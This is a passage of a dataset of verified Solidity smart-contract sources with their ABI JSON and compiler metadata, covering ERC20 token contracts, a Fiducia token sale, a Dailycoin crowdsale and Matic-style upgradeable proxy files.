function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
// ERC20 basic token contract being held
ERC20Basic public token;
// beneficiary of tokens after they are released
address public beneficiary;
// timestamp when token release is enabled
uint64 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint64 _releaseTime) public {
require(_releaseTime > now);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public {
require(now >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract FiduciaToken is StandardToken {
string public constant name = "Fiducia";
string public constant symbol = "FDO";
uint256 public constant decimals = 18;
/// The owner of this address manages the token sale process.
address public owner;
/// The owner of this address will manage the sale process.
address public saleTeamAddress;
// this is the address of the timelock contract for the team tokens
address public timelockContractAddress;
uint64 contractCreatedDatetime;
bool public tokenSaleClosed = false;
/// Minimum amount of tokens to be sold for the sale to succeed.
uint256 public constant GOAL = 20 * 5000 * 10**decimals;
/// Maximum tokens to be allocated.
uint256 public constant TOKENS_HARD_CAP = 2 * 100000 * 5000 * 10**decimals;
/// Maximum amount of tokens to be sold for the sale to succeed.
uint256 public constant TOKENS_SALE_HARD_CAP = 60000 * 5000 * 10**decimals;
/// Issue event index starting from 0.
uint256 public issueIndex = 0;
/// Emitted for each successful token purchase.
event Issue(uint _issueIndex, address addr, uint tokenAmount);
event SaleSucceeded();
event SaleFailed();
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
modifier onlyTeam {
assert(msg.sender == saleTeamAddress || msg.sender == owner);
_;
}
modifier inProgress {
assert(!saleHardCapReached() && !tokenSaleClosed);
_;
}
modifier beforeEnd {
assert(!tokenSaleClosed);
_;
}
function FiduciaToken(address _saleTeamAddress) public {
require(_saleTeamAddress != address(0));
owner = msg.sender;
saleTeamAddress = _saleTeamAddress;
contractCreatedDatetime = uint64(block.timestamp);
}
function close(uint256 _fiduciaTeamTokens) public onlyOwner beforeEnd {
if (totalSupply < GOAL) {
SaleFailed();
} else {
SaleSucceeded();
}
// compute without actually increasing it
uint256 increasedTotalSupply = totalSupply.add(_fiduciaTeamTokens);
// roll back if hard cap reached
if(increasedTotalSupply > TOKENS_HARD_CAP) {
revert();
}
// increase token total supply
totalSupply = increasedTotalSupply;
// locked for 2 days after the contract creation
TokenTimelock lockedTeamTokens = new TokenTimelock(this, owner, contractCreatedDatetime + (60 * 60 * 24 * 2));
// or 10 days from this moment of the close() call
// TokenTimelock lockedTeamTokens = new TokenTimelock(this, owner, now + (60 * 60 * 24 * 10));
timelockContractAddress = address(lockedTeamTokens);
//update the investors balance to number of tokens sent
balances[timelockContractAddress] = balances[timelockContractAddress].add(_fiduciaTeamTokens);
//event is fired when tokens issued
Issue(
issueIndex++,
timelockContractAddress,
_fiduciaTeamTokens
);
tokenSaleClosed = true;
}
function issueTokens(address _investor, uint256 _tokensAmount) public onlyTeam inProgress {
require(_investor != address(0));
// compute without actually increasing it
uint256 increasedTotalSupply = totalSupply.add(_tokensAmount);
// roll back if hard cap reached
if(increasedTotalSupply > TOKENS_SALE_HARD_CAP) {
revert();
}
//increase token total supply
totalSupply = increasedTotalSupply;
//update the investors balance to number of tokens sent
balances[_investor] = balances[_investor].add(_tokensAmount);
//event is fired when tokens issued
Issue(
issueIndex++,
_investor,
_tokensAmount
);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/// @return true if the hard cap is reached.
function saleHardCapReached() public view returns (bool) {
return totalSupply >= TOKENS_SALE_HARD_CAP;
}
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_fiduciaTeamTokens","type":"uint256"}],"name":"close","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_investor","type":"address"},{"name":"_tokensAmount","type":"uint256"}],"name":"issueTokens","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"saleHardCapReached","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"issueIndex","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"timelockContractAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"TOKENS_HARD_CAP","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"GOAL","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"saleTeamAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"tokenSaleClosed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"TOKENS_SALE_HARD_CAP","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_saleTeamAddress","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_issueIndex","type":"uint256"},{"indexed":false,"name":"addr","type":"address"},{"indexed":false,"name":"tokenAmount","type":"uint256"}],"name":"Issue","type":"event"},{"anonymous":false,"inputs":[],"name":"SaleSucceeded","type":"event"},{"anonymous":false,"inputs":[],"name":"SaleFailed","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}] | v0.4.16+commit.d7661dd9 | false | 200 | 00000000000000000000000022f3100cc6759f92166e9dc9c591c5f521e0bd3f | Default | MIT | false | bzzr://e8a03cf23f31a29eb56d7c53237ba9d0105c114b2fda97d4bd180495b479b253 |
||
DailycoinCrowdsale | DailycoinCrowdsale.sol | 0xb2069ca2122e652c0f6ed4d408c915bc103e24b8 | Solidity | pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract DailyCoinToken {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 8;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function DailyCoinToken(
) public {
totalSupply = 300000000 * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = "Daily Coin"; // Set the name for display purposes
symbol = "DLC"; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
}
///////////////////////////CROWDSALE///////////////////////////////
contract DailycoinCrowdsale {
uint256 public amountRaised = 0;
uint256 public tokensSold = 0;
uint256 public totalToSale = 150 * (10**6) * (10**8);
bool crowdsaleClosed = false;
uint public deadline;
address public beneficiary;
DailyCoinToken public tokenReward;
event SaleEnded(address recipient, uint256 totalAmountRaised);
event FundTransfer(address backer, uint256 amount, uint256 numOfTokens);
/**
* Constrctor function
*
* Setup the owner
*/
function DailycoinCrowdsale() public {
beneficiary = 0x17Cb4341eF4d9132f9c86b335f6Dd6010F6AeA9a;
tokenReward = DailyCoinToken(0xaA33983Acfc48bE1D76e0f8Fe377FFe956ad84AD);
deadline = 1512997200 + 45 days; // start on 2017-Dec-11 8.00PM, last 45 days
}
/**
* Fallback function
*
* The function without name is the default function that is called whenever anyone sends funds to a contract
*/
function () payable public {
require(!crowdsaleClosed);
uint256 amount = msg.value;
uint256 numOfTokens = getNumTokens(amount);
amountRaised += amount;
tokensSold += numOfTokens;
tokenReward.transfer(msg.sender, numOfTokens);
FundTransfer(msg.sender, amount, numOfTokens);
}
function getNumTokens(uint256 _value) internal returns (uint256 numTokens) {
uint256 multiple = 5000;
if (_value >= 10 * 10**18) {
if (now <= deadline - 35 days) { // first 10 days
multiple = multiple * 130 / 100;
} else if (now <= deadline - 20 days) { // next 15 days
multiple = multiple * 120 / 100;
} else { // 20 last days
multiple = multiple * 115 / 100;
}
} else {
if (now <= deadline - 35 days) { // first 10 days
multiple = multiple * 120 / 100;
} else if (now <= deadline - 20 days) { // next 15 days
multiple = multiple * 110 / 100;
} else { // 20 last days
multiple = multiple * 105 / 100;
}
}
return multiple * 10**8 * _value / 10**18;
}
modifier afterDeadline() { if (now >= deadline) _; }
/**
* Withdraw the funds
*
* Checks to see if goal or time limit has been reached, and if so, give raised value to beneficiary and burn left tokens in crowdsale.
*/
function endFunding() afterDeadline public {
require(beneficiary == msg.sender);
require(!crowdsaleClosed);
if (beneficiary.send(amountRaised)) {
if (totalToSale > tokensSold) {
tokenReward.burn(totalToSale - tokensSold);
}
crowdsaleClosed = true;
SaleEnded(beneficiary, amountRaised);
}
}
function withdraw(uint256 amount) afterDeadline public {
require(beneficiary == msg.sender);
amount = amount * 1 ether;
beneficiary.transfer(amount);
}
} | [{"constant":false,"inputs":[],"name":"endFunding","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"deadline","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"beneficiary","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"tokensSold","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"tokenReward","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"amountRaised","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalToSale","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"recipient","type":"address"},{"indexed":false,"name":"totalAmountRaised","type":"uint256"}],"name":"SaleEnded","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"backer","type":"address"},{"indexed":false,"name":"amount","type":"uint256"},{"indexed":false,"name":"numOfTokens","type":"uint256"}],"name":"FundTransfer","type":"event"}] | v0.4.16+commit.d7661dd9 | false | 200 | Default | false | bzzr://e439710a16b4f923f31f5c3c0b1fbd1f674df0703946be967a5576fec513f77d |
||||
ValidatorShareProxy | contracts/common/misc/ProxyStorage.sol | 0x59a82694a675377e010f18f598f5b9dbb83ed968 | Solidity | pragma solidity ^0.5.2;
contract ProxyStorage is Ownable {
address internal proxyTo;
} | [{"inputs":[{"internalType":"address","name":"_registry","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_new","type":"address"},{"indexed":false,"internalType":"address","name":"_old","type":"address"}],"name":"OwnerUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_new","type":"address"},{"indexed":true,"internalType":"address","name":"_old","type":"address"}],"name":"ProxyUpdated","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"proxyType","outputs":[{"internalType":"uint256","name":"proxyTypeId","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newProxyTo","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"updateAndCall","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newProxyTo","type":"address"}],"name":"updateImplementation","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | 00000000000000000000000033a02e6cc863d393d6bf231b697b82f6e499ca71 | Default | GNU GPLv3 | false | bzzr://4e58170e48279b1cb90d113d92d52be59f280dddbca7b51d796c43ef066a09b0 |
||
ValidatorShareProxy | contracts/common/misc/DelegateProxy.sol | 0x59a82694a675377e010f18f598f5b9dbb83ed968 | Solidity | pragma solidity ^0.5.2;
contract DelegateProxy is ERCProxy {
function proxyType() external pure returns (uint256 proxyTypeId) {
// Upgradeable proxy
proxyTypeId = 2;
}
function implementation() external view returns (address);
function delegatedFwd(address _dst, bytes memory _calldata) internal {
// solium-disable-next-line security/no-inline-assembly
assembly {
let result := delegatecall(
sub(gas, 10000),
_dst,
add(_calldata, 0x20),
mload(_calldata),
0,
0
)
let size := returndatasize
let ptr := mload(0x40)
returndatacopy(ptr, 0, size)
// revert instead of invalid() bc if the underlying call failed with invalid() it already wasted gas.
// if the call returned error data, forward it
switch result
case 0 {
revert(ptr, size)
}
default {
return(ptr, size)
}
}
}
} | [{"inputs":[{"internalType":"address","name":"_registry","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_new","type":"address"},{"indexed":false,"internalType":"address","name":"_old","type":"address"}],"name":"OwnerUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_new","type":"address"},{"indexed":true,"internalType":"address","name":"_old","type":"address"}],"name":"ProxyUpdated","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"proxyType","outputs":[{"internalType":"uint256","name":"proxyTypeId","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newProxyTo","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"updateAndCall","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newProxyTo","type":"address"}],"name":"updateImplementation","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | 00000000000000000000000033a02e6cc863d393d6bf231b697b82f6e499ca71 | Default | GNU GPLv3 | false | bzzr://4e58170e48279b1cb90d113d92d52be59f280dddbca7b51d796c43ef066a09b0 |
||
ValidatorShareProxy | contracts/common/misc/UpgradableProxy.sol | 0x59a82694a675377e010f18f598f5b9dbb83ed968 | Solidity | pragma solidity ^0.5.2;
contract UpgradableProxy is DelegateProxy {
event ProxyUpdated(address indexed _new, address indexed _old);
event OwnerUpdate(address _new, address _old);
bytes32 constant IMPLEMENTATION_SLOT = keccak256("matic.network.proxy.implementation");
bytes32 constant OWNER_SLOT = keccak256("matic.network.proxy.owner");
constructor(address _proxyTo) public {
setOwner(msg.sender);
setImplementation(_proxyTo);
}
function() external payable {
// require(currentContract != 0, "If app code has not been set yet, do not call");
// Todo: filter out some calls or handle in the end fallback
delegatedFwd(loadImplementation(), msg.data);
}
modifier onlyProxyOwner() {
require(loadOwner() == msg.sender, "NOT_OWNER");
_;
}
function owner() external view returns(address) {
return loadOwner();
}
function loadOwner() internal view returns(address) {
address _owner;
bytes32 position = OWNER_SLOT;
assembly {
_owner := sload(position)
}
return _owner;
}
function implementation() external view returns (address) {
return loadImplementation();
}
function loadImplementation() internal view returns(address) {
address _impl;
bytes32 position = IMPLEMENTATION_SLOT;
assembly {
_impl := sload(position)
}
return _impl;
}
function transferOwnership(address newOwner) public onlyProxyOwner {
require(newOwner != address(0), "ZERO_ADDRESS");
emit OwnerUpdate(newOwner, loadOwner());
setOwner(newOwner);
}
function setOwner(address newOwner) private {
bytes32 position = OWNER_SLOT;
assembly {
sstore(position, newOwner)
}
}
function updateImplementation(address _newProxyTo) public onlyProxyOwner {
require(_newProxyTo != address(0x0), "INVALID_PROXY_ADDRESS");
require(isContract(_newProxyTo), "DESTINATION_ADDRESS_IS_NOT_A_CONTRACT");
emit ProxyUpdated(_newProxyTo, loadImplementation());
setImplementation(_newProxyTo);
}
function updateAndCall(address _newProxyTo, bytes memory data) payable public onlyProxyOwner {
updateImplementation(_newProxyTo);
(bool success, bytes memory returnData) = address(this).call.value(msg.value)(data);
require(success, string(returnData));
}
function setImplementation(address _newProxyTo) private {
bytes32 position = IMPLEMENTATION_SLOT;
assembly {
sstore(position, _newProxyTo)
}
}
function isContract(address _target) internal view returns (bool) {
if (_target == address(0)) {
return false;
}
uint256 size;
assembly {
size := extcodesize(_target)
}
return size > 0;
}
} | [{"inputs":[{"internalType":"address","name":"_registry","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_new","type":"address"},{"indexed":false,"internalType":"address","name":"_old","type":"address"}],"name":"OwnerUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_new","type":"address"},{"indexed":true,"internalType":"address","name":"_old","type":"address"}],"name":"ProxyUpdated","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"proxyType","outputs":[{"internalType":"uint256","name":"proxyTypeId","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newProxyTo","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"updateAndCall","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newProxyTo","type":"address"}],"name":"updateImplementation","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | 00000000000000000000000033a02e6cc863d393d6bf231b697b82f6e499ca71 | Default | GNU GPLv3 | false | bzzr://4e58170e48279b1cb90d113d92d52be59f280dddbca7b51d796c43ef066a09b0 |
||
ValidatorShareProxy | contracts/common/governance/Governable.sol | 0x59a82694a675377e010f18f598f5b9dbb83ed968 | Solidity | pragma solidity ^0.5.2;
contract Governable {
IGovernance public governance;
constructor(address _governance) public {
governance = IGovernance(_governance);
}
modifier onlyGovernance() {
require(
msg.sender == address(governance),
"Only governance contract is authorized"
);
_;
}
} | [{"inputs":[{"internalType":"address","name":"_registry","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_new","type":"address"},{"indexed":false,"internalType":"address","name":"_old","type":"address"}],"name":"OwnerUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_new","type":"address"},{"indexed":true,"internalType":"address","name":"_old","type":"address"}],"name":"ProxyUpdated","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"proxyType","outputs":[{"internalType":"uint256","name":"proxyTypeId","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{